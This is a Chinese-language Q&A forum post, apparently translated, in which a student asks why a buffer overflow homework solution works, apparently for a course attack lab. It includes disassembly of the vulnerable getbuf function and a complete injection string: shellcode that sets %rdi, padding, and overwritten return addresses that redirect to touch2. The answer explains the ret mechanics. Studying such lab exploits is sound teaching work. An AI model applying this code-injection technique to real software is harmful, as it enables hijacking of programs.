缓冲区溢出“攻击”中的操作顺序

问题描述 投票:0回答:1

这是一个家庭作业,我已经有了答案,但不明白为什么它实际上有效?

我需要做的是获得一个函数来执行touch2()的代码而不是返回父函数test()。此外,我必须让它看起来像touch2(),好像我已经通过我的cookie-id作为其论点。

C代表touch2()

1.void touch2(unsigned val){
2.    if (val==cookie){
3.       //code that says I passed
4.    }
4.    else {
5.       //I failed
6.    }

test的反汇编代码

0000000000401999 <test>:
401999: 48 83 ec 08             sub    $0x8,%rsp
40199d: b8 00 00 00 00          mov    $0x0,%eax
4019a2: e8 31 fe ff ff          callq  4017d8 <getbuf>
4019a7: 89 c2                   mov    %eax,%edx
4019a9: be a8 31 40 00          mov    $0x4031a8,%esi
4019ae: bf 01 00 00 00          mov    $0x1,%edi
4019b3: b8 00 00 00 00          mov    $0x0,%eax
4019b8: e8 63 f4 ff ff          callq  400e20 <__printf_chk@plt>
4019bd: 48 83 c4 08             add    $0x8,%rsp
4019c1: c3                      retq   

拆卸getbuf

00000000004017d8 <getbuf>:
4017d8: 48 83 ec 38             sub    $0x38,%rsp
4017dc: 48 89 e7                mov    %rsp,%rdi
4017df: e8 7e 02 00 00          callq  401a62 <Gets>
4017e4: b8 01 00 00 00          mov    $0x1,%eax
4017e9: 48 83 c4 38             add    $0x38,%rsp
4017ed: c3                      retq  

我的解决方案:

48 c7 c7 f0 f7 dd 2c c3 /* assembly language inst. to set my rdi register and then return */
41 41 41 41 41 41 41 41 /* padding to get to 56 bytes */
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 /* padding to get to 56 bytes */
d8 20 68 55 00 00 00 00 /* address for %rsp at 'Gets' --> this holds the input when you type in a string */
1a 18 40 00 00 00 00 00 /* address for touch2 */

我理解在我的解决方案中需要填充,但仍然有以下问题:

  1. 如果我更改指令以将%rdi设置为除第一行以外的任何位置,为什么我的解决方案不起作用?
  2. 如果touch2()return位置持有getbuf的地址,Gets如何被调用?

我使用gdb来获取Gets的地址:

(gdb) x/s $rsp
0x556820d8: "adlkfajsdlkfjaskldjfalksdjflasdkjflkasd" //string I typed into `Gets`
assembly stack x86-64 buffer-overflow
1个回答
0
投票
  1. 它应该在任何地方工作,假设你把正确的地址放入堆栈(倒数第二行)。
  2. 您的漏洞利用代码以RETc3)结尾。这将从堆栈中获取下一个地址并转到那里。因为你已经将touch2的地址存储在堆栈中,所以它就是它的所在。
© www.soinside.com 2019 - 2024. All rights reserved.